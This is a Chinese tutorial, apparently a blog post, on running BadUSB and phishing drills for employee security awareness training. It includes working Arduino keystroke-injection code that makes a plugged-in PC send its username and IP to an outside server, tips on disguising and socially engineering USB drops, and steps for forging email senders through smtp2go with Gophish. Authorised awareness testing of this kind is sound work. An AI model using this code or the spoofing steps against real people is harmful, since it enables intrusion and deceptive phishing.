背景

用于企业安全意识培训,或者HW前安全准备。从目前的到的效果来看,大部分员工都是“铁憨憨”。

BADUSB测试部署

什么是 badusb

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

购买硬件

首先去某宝买BADUSB,一般分两种,这里用的第一种:

  1. 自带几十KB内存,价格20-50 (简单测试基本够用)
  2. 自带Wi-Fi模块,价格200-1500 (灵活性高但是容易坏)

下载软件

Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

1
2
国内下载地址: https://www.arduino.cn/thread-5838-1-1.html
国外下载 : https://www.arduino.cc/en/Guide/HomePage

进行烧录 - 服务端搭建

这里仅仅是进行演练测试,因此也不需要弹个shell这么麻烦,获取主机用户名,IP,和插入BADUSB的时间就足够了。因此这里的方案是首先在内/外网中搭建一个服务器,在BADUSB中写入代码,插入U盘后进行访问目标服务器就行了。

首先我们需要服务器器代码,这里可以使用python开启测试网站

1
python -m SimpleHTTPServer 8000

如果需求多变,那就自己搭建一个服务,这里是用golang写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
"log"
"os"
"net/http"
)

func badusbtest(w http.ResponseWriter, r *http.Request) {
log.Println(r.URL.Query().Get("name"),r.RemoteAddr)
tracefile(r.URL.Query().Get("name")+" "+r.RemoteAddr+"\n","result.txt")
}

func main() {
http.HandleFunc("/badusbtest", badusbtest)
http.ListenAndServe(":8000", nil)
}

func tracefile(str_content,savename string) {
fd,_:=os.OpenFile(savename,os.O_RDWR|os.O_CREATE|os.O_APPEND,0644)
fd_content:=str_content
buf:=[]byte(fd_content)
fd.Write(buf)
fd.Close()
}

进行烧录 - 代码烧录

在烧录前,需要在 选项 -> 端口 中插件是否是要烧录的硬件,点击上传,显示烧录成功,烧录成功后会在目标机器上面执行一次。

image

Arduino 语言基于C++ , 难度不大,网上有教程。我这里给出网上修改的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include<Keyboard.h> //包含键盘模块头文件

void setup(){ //初始化

Keyboard.begin();//开始键盘通信

delay(500);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样

Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

Keyboard.release(KEY_CAPS_LOCK); //释放大写键

delay(250);

Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键

delay(250);

Keyboard.press('r');//按下r键

delay(250);

Keyboard.release(KEY_LEFT_GUI);//松掉win键

Keyboard.release('r');//松掉r键

delay(250);

Keyboard.println("cmd");//输入cmd进入DOS

delay(250);

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(250);

Keyboard.println("start http://121.36.140.230:8000/badusbtest?name=%username%");

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(250);

Keyboard.press(KEY_CAPS_LOCK); //按下大写键

Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

delay(250);

Keyboard.end();//结束键盘通讯

}

void loop()//循环,这里的代码

{

//循环体 写入你要循环的代码

}

到这里基本就完事了,接下来就是撒盘的操作了,在撒盘的时候,请注意以下几点:

  1. 每个U盘最好做好伪装,比如背面写上持有人名字,套壳等等。
  2. 熟练社工,自己拿着U盘去碰瓷的效果比仍在地上等人捡效果好。
  3. 注意回收,能要回来就要回来(尤其是HW),小心二次传播。

钓鱼邮件测试部署

Gophish 安装

Gophish 是一个功能强大的开源网络钓🐟框架。

1.下载源码安装

1
2
3
4
5
6
7
8
9
# 下载 linux 源码
wget https://github.com/gophish/gophish/releases/download/v0.10.1/gophish-v0.10.1-linux-64bit.zip
# 安装解压软件
sudo apt-get install unzip
# 解压文件
unzip gophish-v0.10.1-linux-64bit.zip.zip
# 启动
chmod 777 gophish
sudo ./gophish

如果是在VPS上配置,记得打开安全策略组(端口放行);端口修改在config.json中进行,最好修改成本地:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
"admin_server": {
"listen_url": "0.0.0.0:8888",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:88",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
...

2.倒入安装

1
2
3
4
# 导入tar包
dockerload<phishing-email.tar
# 启动容器(注意安全组、防火墙开放情况)
dockerrun--name=email_phish-itdp8080:8080-p3333:3333-p8443:8443phishing-email:1.0

3.使用docker安装

1
2
3
4
# 拉取镜像
dockerpullgophish/gophish
# 启动容器(注意安全组、防火墙开放情况)
dockerrun--name=email_phish-itdp8080:8080-p3333:3333-p8443:8443docker.io/gophish/gophish

登陆配置

默认账号密码 admin gophish,登陆后界面如下:

image

邮件发送配置

目前常见的方式如下,下面使用的方式为第二条:

  1. 购买一个相似的域名,搭建邮件服务器 - GoDaddy
  2. 用于转发进行域名伪造(防治被拒收):smtp2go

smtp2go

由于我们自己的服务器可信度过低,伪造发件人地址会被拦截。可以借助smtp2go进行发信,smtp2go主要是相当于邮件托管,可以分发子账户进行发送(有时候账号会封,勤换)。(邮箱注册)普通账户可以免费发1000封邮件。登陆后注册SMTP账户

image

在注册smtp2go账户后,再注册SMTP账户后,将生成的用户密码写入gophish的 Sending Profiles 中,这里注意要进行填写Email头信息:

image

发送测试邮件,发现已经伪造成功了。

image

Gophish 其他功能

主要的就是以上,再就是一些详细配置,看参考资料就行了。

image

参考文章

gophish+自己搭建邮件服务器

邮件伪造原理和实践